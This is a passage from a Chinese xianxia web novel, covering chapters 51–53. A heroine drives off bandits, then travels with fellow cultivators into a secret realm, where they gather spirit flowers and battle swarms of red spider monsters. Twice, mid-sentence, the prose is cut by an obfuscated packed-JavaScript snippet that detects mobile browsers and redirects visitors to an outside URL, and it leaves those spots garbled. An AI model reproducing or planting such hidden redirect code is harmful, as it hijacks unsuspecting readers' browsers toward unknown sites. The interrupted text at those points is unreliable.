贼首怒不可遏,抡着长刀朝同自己叫嚣的人砍去,然而刀刃尚未迫近对方的脖颈,刀刃与刀柄连接处忽然有“咔哒”声传来,长刀竟离奇地脱离刀柄,顺着他挥砍的力道飞了出去。 不仅是他的刀,所有流寇手中的武器,不管是刀、剑还是镰刀、锄头,俱从连接处断开,流寇手中仅剩半截或木制或铁制的手柄。不少人还被乍然掉落的兵器砸了脚,痛得龇牙咧嘴,气势汹汹的流寇顿时成了乱蹦的独脚鸡。 激昂高亢的琵琶声戛然而止,低沉的音调倏尔传出,像是暴风雨来临前的暗哑。少顷,曲调愈发急促,如电闪雷鸣般席卷开来,无形的音浪如滚滚大潮汹涌而来,流寇大军顿时人仰马翻,哀嚎不绝于耳。 女子沉着冷静的声音传入了每一个流寇的耳中。 “速速退去!否则下一次斩断的,可就不是你们手上的刀了!” 流寇们纷纷丢盔弃甲,抱头鼠窜,只想着保住小命,哪里还顾得上其他?没过多久便逃得无踪无影了,战场上只剩下被炸碎的残车木屑、被砍死的马、和被放弃的人质。 不远处的雪山上,两男一女安静注视着这场尚未开始就已结束的战争,震惊之情溢于言表。 “这可真是……”女子呢喃道,“帅呆了!” 51. 旧友至 身后的城门“吱嘎”一声开了,欢呼声和脚步声齐齐传入耳中,秋迁双腿脱力瘫倒在了雪地上,心“咚咚咚”跳个不停,声音大到几乎能盖过世间其他任何声音。 她做到了。 秋迁激动地哭了出来。 寸微云飞奔过来半蹲在她身边,秋迁一见到他,哭得更大声了:“我快要吓死了呜呜呜……” 寸微云乍然失笑,将人搂进了怀里,伸手从上到下抚着她的背,安慰道:“没事了,没事了,你做得很好。” 哭了一会儿,秋迁才止住眼泪,挣脱了寸微云的怀抱,她抬头往城墙上看去,只见闫扶音掀开了眼前黑纱,低头看着她,朱唇动了动。 秋迁看清了她的嘴型:干得漂亮。 秋迁破涕为笑,阳光破开阴云,她的笑容是那样的耀眼。 “什么人!” 身后忽然传来惊呼,秋迁扭头看去,只见两男一女不知何时走到了护城河边,士兵们警惕地用长枪指着他们。 他们三人皆着锦衣,最中间的男子唇边噙着玩世不恭的笑容,另一男子身后背着长剑,唯一的女子则容貌昳丽,耳上挂着水滴形状的吊坠。 中间的男子举起了双手作投降状,他的声音清朗如风:“别紧张,我们是闫扶音的朋友,就是刚刚射箭的那个人。” 正是袁涯邻、娄雪沁、翟子续三人。 墙头上,岚孟愣了一下,他们几个怎么来这了?她连忙和城守说明了情况,城守大手一挥,让将士放行了。 四人在城门前汇合。 娄雪沁亲亲热热地揽着岚孟的胳膊,激动道:“你那一箭好飒啊!这才是我想象中运筹帷幄、叱咤风云的修士!” “还有那句,‘我会杀得他们片甲不留’也好霸气!” 岚孟简直无地自容,好想在地上找个洞把自己埋进去。 她连忙岔开话题,问道:“你们怎么知道我在这里?” 娄雪沁“哦”了一声,“柳师兄说你在这,所以我们就过来了。” “你们有事找我?” “扶音,你是不是没看山水令发布的告示啊?山河图即将开启,玄牝之门位于雍州,我们正要赶过去呢。” 山河图是九州大大小小七十二个秘境的集合,是诸神留给后世弟子的财富,不论是人是妖都可以进入山河图寻找机缘,只不过限制修为在破妄境以下。山河图开启时间并不规律,两次之间相隔几百年也是常有的事,唯一能确定的是,每当有天灾降临人间时,山河图就会开启。 比如这次祸及三州的雪灾。 山河图开启时会引起天地灵气震荡,所以过不了多久,雪灾就会慢慢消弭了。 岚孟大吃一惊,“山水令还会通知这种事情呢?”她将那个八百年都没理过的青色令牌取了出来,往其中输入灵气,立即有好几段文字浮现了出来,有山河图的通知,也有更早以前梁齐安通知的杂七杂八的事务,密密麻麻一大串。 岚孟尴尬地把山水令收了起来。 城门口人来人往,一直杵在这也不是个事,岚孟招呼他们往城里走。刚往前走了两步,她才想起来自己忘记了什么,抬头往四周一看,只见寸微云和秋迁安静地站在不远处。 袁涯邻问道:“那是你朋友?虽然灵力掌握不太成熟,但确是可塑之才啊。” “她是音系吧?我还是第一次听见这般杀伐果断的乐声。”娄雪沁道。 翟子续连连附和:“她要是修为再高点,就能直接击碎那些兵器了,不必再讨巧地只攻击连接处。” 岚孟心想,要是你们知道秋迁入道修行不过两个月,怕是会惊掉大牙吧。 她道:“我去说句话,你们在这等我一下。” 岚孟快步走到两人面前,从芥子袋里取出两个玄灵果塞到秋迁手里,叮嘱道:“回去以后打坐调息至少一个时辰。” “对了,介城哪里的饭菜最好吃?” “若是请朋友吃饭的话,可以去醉仙楼。”秋迁道,她往娄雪沁等人所在的方向看了一眼,娄雪沁朝她招了招手,善意地笑了笑。 “行,那我走了,今晚吃饭就不用等我了。”因为岚孟说了自己不会烧菜,所以这段时间一直在寸家蹭饭。 秋迁目送闫扶音小跑着去到那些人身边,有说有笑地往城里走,心想在她面前,闫扶音一直都是成熟稳重的样子,原来也有笑得那么开怀的时候。 - 袁涯邻回头看了看,那个音系的姑娘已经离开了,他朝闫扶音问道:“你怎么不把那姑娘叫来?人多也热闹啊!” 岚孟表示不理解:“她和你们又不认识,你也不怕人家不自在。” “你介绍一下不就认识了吗?”袁涯邻不服道。 岚孟淡淡瞥他一眼,“你想干嘛?” 袁涯邻猛地从背后掏出一个签筒来,举手做出捋胡子的动作,高深莫测道:“贫道日行一善,想找个有缘人算算姻缘。” 娄雪沁嗤笑道:“人家已经名花有主了,你还去算个屁的姻缘。” 翟子续疑惑地问:“你怎么知道的,不才见过她一面吗?” 袁涯邻挑眉:“莫非你想说方才和那姑娘在一起的男子?他们俩可不像是一对。” “这就是你不懂了。他们举手投足间颇有默契,对视的时候含情脉脉,两人的着装都是相配的,衣裳面料相同只颜色不一样,最重要的是他们腰间挂着的碎玉饰品合起来分明一块完整的玉玦,这就像是合璧玉佩一样,你会把另一半玉佩送给姐妹吗?显然不会,由此得知,他们两个绝对是一对。”娄雪沁分析得条条是道。 她朝岚孟抬了抬下巴,“我说的没错吧?” 岚孟朝她竖起大拇指,“厉害。” 娄雪沁神气地看了翟子续和袁涯邻一眼,昂着头颅大步朝前走。 翟子续拧眉深思:“是这样吗,怎么我就没发现……” 袁涯邻拍了拍他的肩膀,叹气道:“兄弟,我懂你。” 岚孟花钱请三人在醉仙楼胡吃海喝了一顿,酒足饭饱时,月亮也挂在了东边的天空。 岚孟很有自知之明,一滴酒也没碰,袁涯邻 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众人抬头往天上看去,一只通体苍青、翼长数丈的鸾鸟快速划过了夜空,眨眼间便消失在了天际。 “这里怎么会有青鸾?”岚孟皱眉低语。 袁涯邻手抚下巴作思考状,“我记得,妖域掌权人之一就有青鸾吧?” “不是九尾狐吗?”翟子续一手勾住袁涯邻的脖颈,把上半身的重量全放在了袁涯邻身上。 浓重的酒气扑面而来,袁涯邻嫌弃地把翟子续的头推开,“你喝酒喝傻了吧?青丘九尾狐早就灭族了,现在只有一条尾巴的狄阴天狐。” “我想起来了!当年尧玦掌炬去青丘平狐乱,最后在英水河畔陨落了。”娄雪沁瘪着嘴号啕了起来,“君生我未生,我生君已死,自古红颜多薄命呜呜呜……” 她踉跄几步倒在了岚孟身上,被岚孟一把接住。 岚孟大为不解:“你又不认识他,哭个什么劲?” 娄雪沁十分伤心:“听说尧玦天人之姿,无数女子为之倾倒,我都还没见过呢,怎么就死了?” 岚孟啼笑皆非,只好搀着她往前走。 翟子续吵着闹着要袁涯邻背他,被袁涯邻一脚踹进了河里,娄雪沁哈哈大笑起来,没多久便把尧玦的事情忘在脑后了。 翌日,天光大亮,岚孟敲响了寸家的大门,秋迁跑来开门,见她整装待发的样子,问道:“闫姑娘要走了吗?” 岚孟点点头,把手里的书册递了过去,“这本乐谱送你,对现在的你来说可能会有些难度,得空的时候可以练一练。我不在的话,恶鬼上门的概率会大大增加,你要是敌不过,就带着寸微云躲到我那房子里去。” 秋迁接过乐谱,郑重地道了谢。 岚孟摆了摆手,转身朝候在远处的娄雪沁几人走去。 一轮明日跳出了山峰,明媚阳光泼洒在挺拔的背影上。 秋迁出神地看着他们渐行渐远。 总有一天,她也会像他们这样,如晨曦的阳光,意气风发照四方,山拦,劈山,水拦,断江。 52. 龙生坟 玄牝之门位于雍州境内的窑稷山,距离介城不过两万里,岚孟四人御剑飞行全速前进,午时过半便已经抵达目的地。 此时的窑稷山远比丹灵卫考核第一日要热闹得多,整座山上,从山脚到山顶,密密麻麻的全是人,散修、各大宗门弟子抑或是不远万里前来的妖族子弟,都在翘首期盼山河图的开启。 虽然山河图是诸神留下来的宝地,但里面依旧危机四伏,七十二秘境中仍有三成尚未被开发探索,等待后人的究竟是仙境宝地还是刀山火海,没有人知道。 所以前辈们拓印下来的地图就显得极为重要。山到源作为众仙门之首,希望齐聚修士力量共同抵抗魔修,自然不愿意年轻弟子折损在山河图里,所以每当山河图开启之日,就会免费发放地图卷轴,不论是不是山到源内部弟子都可以领取。 由于并不能确定玄牝之门开启的时间,大多数人早在两三日前便来到窑稷山,且领了地图了,所以此刻地图发放处人丁稀少,柳逸直百无聊赖地坐在老桃树裸露的树根上,仰头数着头顶的树枝上开了几朵桃花。 余光瞥见一行人朝自己走来,他微微勾了勾唇。 “柳师兄!”娄雪沁远远地便朝柳逸直挥手打招呼,小跑着过去。 柳逸直把卷轴放到她手里,笑道:“你们再不来我就要收摊了。” 翟子续凑过来把娄雪沁挤走,抱怨道:“还不是因为娄雪沁一路上事太多,不是要吃饭就是要睡觉的,硬生生把时间耽搁了。” 娄雪沁踹了他一脚,生气道:“你还好意思说我?是谁带错了路,让我们硬生生多绕了两天的路的?” 两人你一言我一句吵了起来,袁涯邻把两人推开,“你俩一边凉快去。” 柳逸直把卷轴递了过去,袁涯邻接过卷轴,而后一把攥住柳逸直的手,惊奇道:“柳师兄!你的掌纹很是清晰啊,要不要师弟我为你看个手相,算算姻缘?” 柳逸直抽回手,恍然道:“原来一见面就要给人算姻缘的新弟子就是你啊。” 袁涯邻唉声叹气,“地虽生我材,天不与我时啊,在下这颗明珠终究还是蒙尘了。”① 等袁涯邻长吁短叹着离开后,岚孟才走上前去,朝坐在树根上的人伸出手。 柳逸直从芥子袋里拿出卷轴,却攥在手里,只好整以暇地看着她。 察觉到娄雪沁等人都奇怪地看着他们,岚孟只好咬牙切齿地喊了一句“柳师兄”。 柳逸直这才把卷轴放进了岚孟手里。他心中暗笑,哼哼,有其他人在,看她还怎么仗着修为高威胁欺负他! 天空传来一声清鸣,苍青色的鸾鸟以极快的速度降落在离桃树不远的空旷处,强大的妖力激荡开来,将地上的枯枝碎叶都卷上了高空。 鸾鸟化作一个高大英俊的男人,他有着一头和羽毛一样的苍青色头发,身着赭红锦衣,表情阴鸷,暗青瞳孔扫荡着四周,像是在找什么东西。 甘笠大步走到距离最近的娄雪沁面前,取出一面镜子,厉声问道:“喂!你是山到源的吧?认识这个人吗?” 镜子具有留影功能,上面的女子惟妙惟肖,好似活人一般,娄雪沁心想,这不是鸣珂么?难道是她父亲给她安排的妖夫找上门来了?娄雪沁盯着男子上下打量,心想模样不差,但是脾气不好,搞不好会打女人,难怪鸣珂会跑路。 她摇摇头:“不认识。” 甘笠望向旁边的袁涯邻和翟子续,“你们见过吗?” 两人一个摆手一个摇头。 甘笠一拳打断了身旁的大树,“轰隆隆”的声音响起。 鸣珂这小兔崽子到底上哪去了? 他看到了柳逸直和岚孟二人,快步走过去,把镜子怼到岚孟眼前,“你呢?” 岚孟同样摇头,鲛云纱微微晃动:“对不起,我是个瞎子。” 柳逸直差点没憋住笑。 甘笠挥了挥手,鲛云纱便飞了起来,黯淡无光的灰色瞳孔印入他的眼中。甘笠“哼”了一声,甩了甩袖往树林深处走去了。 鲛云纱甫一垂落,便又被一只手挑了起来。 柳逸直看着她的眼睛,惊奇道:“你这有点厉害啊。” 岚孟眨了眨眼睛,瞳孔又恢复了黑色,她抬手打落柳逸直的胳膊,淡淡道:“你要是想学我也可以教你。” 看着她逐渐走远的背影,柳逸直心里想的却是,他大致可以确定闫扶音是羽族了,否则背上的伤口不可能会长属于重明的羽毛。既然方才那只青鸾化人以后,发色和羽毛是一样的,那么同理,闫扶音本体是否就是当初他看见的蓝色? 蓝色的鸟? - 山河图里都有些啥? 岚孟坐在老桃树根上,拧眉思考着这个问题。 上一次山河图开启已经是两百多年前了,所以她没有进去过,只听尧玦提起过一嘴,好像有个什么很厉害的东西,要是有机会的话想去瞧瞧。 在哪来着……岚孟的目光在地图上梭巡,有了,栖风谷。 “你要去栖风谷?”柳逸直看着她的手点在卷轴上一直没动。 “里面有什么?”岚孟问道。 “这个是早就被探索过的小秘境,不过弹丸之地,约摸一个介城那么大吧,里面的天灵地宝应该都被取走了。” 是么……岚孟蹙了蹙眉。尧玦不会说没有根据的话,里面应该还有什么没被人发现。 这时,磅礴的灵气忽然从山中某处迸发开来,形成巨大的冲天光柱,林中无数飞鸟被惊得纷纷飞往高空。 柳逸直站了起来,朝光柱方向望去,“玄牝之门开启了。” 光柱向下收敛成了一扇高达数丈的光门,修士们犹如过江之鲫,争先恐后飞进门内。 尚未靠近玄牝之门,岚孟便听见了一声怒吼。 “鸣珂!给老子站住!” 半空中,一只青鸾张开双翼一头冲进了玄牝之门,体型略大的青鸾紧跟其后,却被光门弹飞了出去,在空中打了两个滚才稳住了身形。 门内的青鸾旋身化作一个娇俏的少女,正是鸣珂。她朝甘笠吐了吐舌头,双手叉腰道:“我才不会回去呢,有本事你进来抓我啊!” 甘笠气得想吐血,翅膀扇出一道飓风,远处的巨树瞬间便被拦腰斩断。 飓风抵达岚孟跟前时便被一只手拦了下来,鲛云纱只轻轻晃了晃,岚孟抬眼,对上一双有着琥珀色瞳孔的丹凤眼。 “走吧。”柳逸直道。 他率先飞身进了玄牝之门中。 岚孟瞥了一眼悬浮在空中大发雷霆搞破坏的青鸾,也跟着进了玄牝之门中。 门内和现世截然不同,一派欣欣向荣的景象,草长莺飞,春暖花开,木系灵气氤氲浓郁,岚孟心里只有一个念头:舒坦! 七十二秘境大部分是相通的,地图上会标注传送的通道,不少人进入山河图之后便径直前往其他秘境了,毕竟开启时间只有半个月,等十五天一过,所有人都会被山河图排斥出去,自然得争分夺秒地寻找机缘。 翟子续停下脚步,问道:“柳师兄,你们要去哪里?” 柳逸直道:“我去荒骨之地,听说那边异兽比较多。” 岚孟道:“栖风谷。” 娄雪沁笑了起来:“我们要去碧水潭,都得先到龙生坟,可以同行一段路程。” 袁涯邻无奈道:“我去松折崖,看来我们只能在此分道扬镳了,就此别过。”他拱了拱手,然后朝几个太乙门的同门跑去了。 一行人往西边走去。 没多久,争吵声从前面的道路上传了过来,岚孟看见了不少熟面孔,好像是那啥离地草论道会的人,等来到他们身边时,才发现他们在争辩该怎么将灵花蝶完整地取下。 灵花蝶,顾名思义,花朵状似蝴蝶,并且完全成熟后植株的灵气都会凝聚成灵蝶,很快便会消散,所以如何保住灵气与药效这个问题众说纷纭。有的人说要在灵花蝶成熟的瞬间连根拔起,阻止灵气化蝶,但灵花蝶花朵十分脆弱,一丝一毫的扰动都可能让它瞬间粉碎,所以很少有人能得到花朵完整的植株;也有人说凝聚成蝶的灵气才是精华,只需要直接吸取灵蝶即可,可是这样和直接吸纳灵气无异,毕竟灵花蝶药效还是存留于植株本身。 众人莫衷一是,吵得脸红脖子粗。 诸葛宁拍板道:“这里的灵花蝶都快成熟了,大家各自选一棵,看谁拿到的灵花蝶最好!” 岚孟抬腿欲走,诸葛宁连忙将她喊住,岚孟面露抗拒:“我就算了吧。” “这怎么能行?”诸葛宁抓住她的胳膊将她拽了过来,“你可是我们离地草论道会的元老,怎么能临阵脱逃?” 他扭头朝柳逸直三人道:“借闫扶音一用,你们稍等一刻钟。” 三人面面相觑,只好站在他们身边观望。 陆陆续续有人用自己的方式采摘了灵花蝶。 翟子续抱着剑靠在树干上,却见诸葛宁站在花田之前,犹犹豫豫的,不知道在踌躇什么,于是便出言问道:“诸葛,你到底行不行啊?可别耽误我们的时间。” 有人起哄道:“别是在吹牛吧?焱堂出身的丹灵卫也不过如此!” 诸葛宁皱起眉:“催命呢你们!我这不是得酝酿一下,找找感觉么!” 他终于选好了要采摘的灵花蝶植株,众人的目光都落在了他身上,只见他握紧拳头,眼神坚定,像是下定决心了一般,“噗通”一声朝灵花蝶植株跪了下去。 “灵花蝶姐姐,小弟山到源诸葛宁,一生克己复礼,从未做过坏事,家有灵田百亩,灵泉数座,跟着小弟我,保证让您吃香的喝辣的!不受一丁点儿委屈,您就放心跟小弟走吧!” 他“哐哐哐”磕了三个头,然后在灵花蝶成熟的瞬间,以迅雷不及掩耳之速,抄起手将植株连根带泥挖了出来,顶端的花朵在空中晃了一晃,却没有一点破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929648|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的地方。 他举着完好无缺的灵花蝶给众人看,神气道:“如何?” 有人嘘声道:“啧啧,诸葛宁,瞧你那点吃些,竟然给一棵草下跪,还求爷爷告奶奶的,山到源的脸都被你丢尽了!” 诸葛宁看着说话之人脚边残破不堪的灵花蝶,哂笑道:“哪比得上朱兄你啊,你那灵花蝶上都有几百个窟窿了,也敢来我面前丢人现眼?” 他单手叉着腰,环视众人,掷地有声道:“灵植本就是天地给我们的馈赠,我们当怀感恩之心,以礼相待,这才是我辈木系修士该有的责任和气度!而不是肆意掠夺,竭泽而渔。” 他伸手点了点方才说话的朱孱,“别以为我不知道你这一路上糟蹋了多少未成熟的灵植,把我的种子还我!” 朱孱掏出种子掷在地上,啐了一口,“当老子稀罕你这破种子似的,咱们走!” “草木就是草木,还以礼相待,什么诸葛宁,诸葛傻缺吧?我呸!” 朱孱带着一帮小弟骂骂咧咧地走了。 诸葛宁把灵花蝶收进了芥子袋里,然后弯腰把种子捡了起来,一抬头,便看见闫扶音朝自己走了过来。 岚孟拱拱手道:“既然你自己解决了,那也没我什么事了,再会。” 诸葛宁本就想借这个机会把朱孱和他的狗腿子们踢出局,怕自己失手才把闫扶音也叫上了,虽然他成功了,但也想知道闫扶音有什么办法,所以抓住她的胳膊央求道:“你演示一下呗?我知道你肯定有更好的办法!” 岚孟低头看了看抓住自己胳膊的手,诸葛宁连忙松开爪子,讪笑道:“失礼失礼。” 见其余人也眼含期待地看着自己,岚孟心里叹了口气,走到离自己最近的灵花蝶植株前,伸出两指掐住了根茎,灵气顺着她的手指涌入茎叶之中,带动全株灵气朝花朵涌去,那蝴蝶一样的花朵逐渐变成了浅绿色,脱离花萼飞到了岚孟的手上。 诸葛宁大惊失色:“莫非是药效顺着灵气涌到花上了?” 岚孟将灵花蝶放到诸葛宁掌心,笑道:“只是个讨巧的法子,没有多高明,你那招剑走偏锋的磕头大法也不赖。” 一行四人继续赶路,一路上畅通无阻,穿过传送门来到了龙生坟。 传说中龙生坟本不是秘境,而是现世之地,有真龙在此降世,尚未完全破壳而出,便被路过的大妖一口叼了去。神龙开局即死,龙气反噬了那只胆大包天的妖,也将整座区域划归虚空,成了一座小秘境。 因此,龙生坟是蕴含龙气与机缘的宝地,亦是危机四伏的险地,即使几千几万年过去,这里依旧潜伏着诸多嗜血异兽,躲在暗处窥伺着每一个不速之客。 “沙沙沙”的声音不绝于耳,数百只大若牛羊的毒蝎精从沙地里蹿了出来,尾部尖锐的毒针在阳光下泛着紫光。 翟子续抽剑一挥,剑气带着燎原之火,一剑便砍翻了上百只毒蝎,蝎尸上“滋滋”冒烟。 娄雪沁唤出欺梦笔,清水凝成利剑,准确无误地扎进了毒蝎的脖颈,将其钉在地上,挣扎一会儿便气绝身亡了。 水火不相容,一边是热浪朝天,另一边是清波震地,不多时便解决了所有蝎子。 娄雪沁喜形于色:“哼哼,小菜一碟,难不倒我娄大小姐!” 翟子续收了剑,飞身来到娄雪沁身侧,伸出手指点了点骄傲自满的姑娘的肩膀,“你看看后面。” 娄雪沁扭头看去,只见柳逸直半蹲在地上用匕首挑起毒蝎的尾针观察,而闫扶音双手环胸站在他旁边,微微低头,同他交谈着什么。 许是察觉到了他们的目光,闫扶音扭头看了过来,“蝎壳能用来炼器,尾针之毒可炼丹,你们把尸体带回去吧,直接卖给万象斋,估计能赚不少钱。” 柳逸直放下尾针站了起来,他抬了抬手,便有风将毒蝎精的尸体托了起来,扬声道:“接着!” 密密麻麻的毒蝎尸体朝两人涌了过来,他们连忙打开备用的芥子袋接住,差点没被蝎尸淹没。 一行人继续朝前走。 娄雪沁的目光落在前方并肩而行的两人身上,她扯了扯翟子续的袖子,低声道:“唉,你有没有觉得他们俩的关系好像亲近了些?” 翟子续纳闷道:“有吗?我怎么觉得是变坏了?闫扶音对柳师兄明显没有一开始那般恭敬了,我之前还看见她给柳师兄翻白眼呢。” 娄雪沁大吃一惊:“我怎么没看见?” 翟子续哂笑:“你那时正对着一个光着膀子的健壮佛修流口水呢,眼睛里哪还看得见其他?” 娄雪沁老脸一红,抬腿踹了翟子续一脚。 “真是皮痒了,你竟敢诽谤我!看我不一脚把你踹沟里!” 翟子续猝不及防挨了一脚,哪里会再让她得逞?他立即抽出剑站了上去,很快便飞出了二里地。 娄雪沁不甘示弱追了上去。 离得很远也能听见他们的打闹声。 53. 蜘蛛怪 日薄西山,天色渐渐暗了。 龙生坟秘境占地极广,岚孟几人从位于最南端的传送门出来,需要横跨整个秘境,前往最北端的传送门,其间千八百里,即使全速御剑飞行也需要半天。 但龙生坟内不乏实力堪比闻道修士的凶兽,它们大多昼伏夜出,血腥残暴,夜间赶路实在不是明智之举,所以天完全黑透以后,几人便找了个隐蔽的山坡暂做休息,等天亮以后再启程。 翟子续在背风处升了火堆,四人围坐在一起,娄雪沁叽叽喳喳说个不停,翟子续总能见缝插针地怼上两句,吵得不可开交时总得柳逸直来打圆场。 岚孟则背靠着巨大山石,闭着眼睛休憩。 吵得累了,娄雪沁嚷着肚子饿了,要去不远处的小溪抓鱼吃,站起身拍了拍屁股就走了。 翟子续拦也拦不住,“小心被凶兽吃了!” “要你管!”娄雪沁头也不回地说。 过了没多久,翟子续才站了起来,朝柳逸直道:“师兄,这里不安全,我还是去看看。” 柳逸直笑道:“去吧,要是有危险及时喊我们。” 翟子续朝娄雪沁消失的方向追了上去。空气安静下来,只有木柴被烧断时噼里啪啦的细小响声。 世界上好像只剩下两个人。 柳逸直的目光落在了斜对面的姑娘身上,她没戴帷帽,跳跃的火光映在她的脸庞,少了些许冷意,多了几丝柔和,和平日里微笑不达眼底的样子相去甚远。 她睁开了眼睛,秀眉轻蹙,脸色冷了下来,整个人又笼罩了几分难以靠近的疏离,“盯着我做什么?再看挖了你的眼睛。” 柳逸直问道:“你先前受的伤,养好了吗?” 岚孟斜眼看他:“怎么,想打架?” 柳逸直没好气道:“想哪去了,我是那种好勇斗狠的人吗?我是想请你帮我个忙,条件你开。” “说说看。”岚孟坐直了身体。 柳逸直把袖中的玉白骨扇抽了出来,“几百年前,我家祖上也曾是修仙家族,只不过族中有修行根骨的孩子越来越少,便渐渐败落了,到最后只剩下这把扇子。我去荒骨之地就是为了观察异兽行动,继续绘制扇面,所以想找个人保护我。” 岚孟接过扇子一看,二十八档扇骨上只有七档绘有图案,分别是奎、娄、胃、昴、毕、觜、参七宿所对应的异兽,其余皆为空白。 在屏基山时,她曾见他召唤出来过一只银狼,当时她还以为是封印了兽魂,现在才知道竟然是画上去的。 她合拢扇子,见一侧的排口上刻了一个“易”字。 “你是雍州易氏之人?” 雍州易氏擅阵法,四五百年前还出过一个惊才艳艳的知命境阵法师,尧玦还未进入山到源时,还曾远赴雍州去向那人请教过阵法。只不过天妒英才,那人在晋升造化境时被雷劈死了,自那以后易氏每况愈下,逐渐湮灭于滚滚历史大潮之中了。 柳逸直完全没料到她竟然知道雍州易氏,自嘲道:“说来惭愧,易氏如今只剩下我一人,早已不复存在了。” 岚孟很疑惑:“那你为何不姓易,而是姓柳?” 柳逸直没有隐瞒:“因为我爹为了和我娘在一起,入赘了柳家。” 岚孟淡淡道:“那令尊令堂的感情想必是极深厚了。”她把扇子递了过去。 柳逸直微微扯了扯唇角,没有接上这句话。 他问道:“所以你答应么?” 岚孟想了想,点头道:“可以,但要是遇上狻猊、梼杌之流,就只能各自逃命了。” “这是自然。”柳逸直笑道,“我也不想把小命丢在这里。” “我要你的重明尾羽。”岚孟直言道。 虽然早有预料,但听她说出这话的时候,柳逸直心里还是“咯噔”了一声,他勉强挤出一分笑容:“能不能换一个条件?” 本以为会受到直言拒绝,不料对面的女子仰头想了想,竟然改了口。 “那就先欠着。” 柳逸直自无不可,两人达成了共识。 然而轻松愉悦的气氛很快就被一声呐喊打破了。 “柳师兄!敌袭!” 柳逸直的身影“噌”地一下便消失了,岚孟站了起来,朝声源方向看去,只见不远处的树林里一片火光,打斗声传了过来,她灭掉火堆跟了过去。 一只赤红色的变异大蜘蛛在树林里横冲直撞,它有一间屋子那么大,八条腿站起来得有两丈高,身上的硬甲刀枪不入,翟子续的剑卡在了它的背上,而蜘蛛丝也缠绕着他的身体,他被蜘蛛甩得七荤八素,紧紧捂着剑柄,生怕被甩飞出去。 娄雪沁引来漫天溪水冲向蜘蛛,蜘蛛没受一点伤,倒是把翟子续冲得够呛,他“呸”地一声吐出嘴里的水,哀嚎道:“你到底行不行啊!” 娄雪沁的声音略带颤抖:“我怕蜘蛛啊!” 蜘蛛吐出一张巨网,娄雪沁一边喊娘一边躲开,那蜘蛛网落在了灌木丛上,树叶顿时滋滋作响,这蜘蛛网竟是有毒。 这时,柳逸直的声音好像从四面八方传了过来。 “翟子续,躲开!” 翟子续听到这话就知道得救了,他用火烧去身上的蜘蛛丝,双脚在蜘蛛背上一蹬,整个人便飞上半空,他一把抱住了高处的树枝。 风声呼啸,一道不可见的巨大风刃朝拦腰蜘蛛斩下,竟是直接将它劈成了两半,地面也被劈开了个裂缝。 蜘蛛痛苦地长啸一声,口中的蜘蛛丝朝四面八方喷射而出,林中落叶被劲风卷起,刷刷刷割断了蜘蛛丝。 又一道风刃朝蜘蛛兜头斩下,将其从头到尾劈成了两半。 巨型蜘蛛被切成了四瓣,终于失去了生息。 翟子续靠在树边喘着粗气,浑身直冒冷汗,身上的衣服也被蜘蛛丝割得破破烂烂,渗出黑紫色的血来,娄雪沁连忙奔到他身边,焦急道:“你没事吧?” 岚孟走上前掀起他的袖子看了看伤口,扭头朝柳逸直道:“将妖丹取来。” 柳逸直点了点头,他飞上蜘蛛的尸体,用匕首划开尸体剖出了妖丹,顺便将翟子续的剑拔了下来。 岚孟以灵气炼化妖丹成液,推进了翟子续的口中,道:“调动灵气运转全身经脉。” 翟子续依言照做,过了一盏茶时间才感觉浑身的刺疼逐渐褪去,身上不再冒冷汗,流出的血液也恢复了正常的颜色。 岚孟又给他检查了一下,才放话道:“好了,也没有余毒残留。还好知道是中的哪只虫子的毒,要是没有及时服下妖丹,一炷香之内必死无疑。” 娄雪沁只感觉一阵阵地后怕,忧虑道:“我好像记得,这种红色的蜘蛛是群居凶兽?” 柳逸直把剑抛给翟子续,眉头紧紧蹙了起来,“你说的没错,这是红玉蜘蛛怪,繁殖能力极强,喜欢群体活动,这附近肯定还有其他蜘蛛怪。” 岚孟把商刀抽了出来,沉声道:“看其体型,说不定是族群里的老祖宗,还是赶紧离开此地吧,我有种不详的预感。” 话音刚落,地下忽然传来“轰隆隆”的声响,脚下的土地剧烈震动起来,一瞬间便塌陷了下去。 岚孟反应迅速,腕上蔷薇藤瞬间便伸长数丈,捆住翟子续和娄雪沁的腰,手上一用力就将串在一起的两人扔飞了出去,她借着力道跟着飞了出去,好在跌落处有着柔软的草地,三人并未受伤。 柳逸直悬浮在高空,居高临下地看着塌陷的深坑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929649|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,成千上万的红玉蜘蛛怪从坑里跑了出来,直教人头皮发麻。 他迅速飞至三人跟前,“快走!蜘蛛潮来了!” 站在剑上,翟子续扭头望着身后密密麻麻的蜘蛛怪,虽然体型小,但是数量极多,源源不断地从塌陷的洞口涌出来,好似无穷无尽。 “它们怎么一直追着我们跑啊!”娄雪沁欲哭无泪。 岚孟灵光乍现,朝翟子续道:“把你衣服扔掉!它们是循着气味来报仇的!” 翟子续连忙脱了外衫,一把掷到了地上,立即有蜘蛛怪涌向那件衣服,衣裳瞬间被撕得粉碎。 即便如此,他们身上也沾了不少那蜘蛛怪的气味,只扔一件衣服根本无济于事。 一行人路过陡峭的绝壁,瀑布从崖顶飞流直下,水帘之后有人探出头来,朝他们招手,“这里这里!” 柳逸直定睛一看,那人有些眼熟,好像是禅宗的人。这么一直逃下去也不是办法,他当机立断将剖过妖丹的匕首朝前方掷了出去,然后拿出玉白骨扇往后一扇,落叶纷纷飞去,暂时阻隔了蜘蛛怪们的视线,他径直朝瀑布飞去,其余人纷纷跟在他后面。 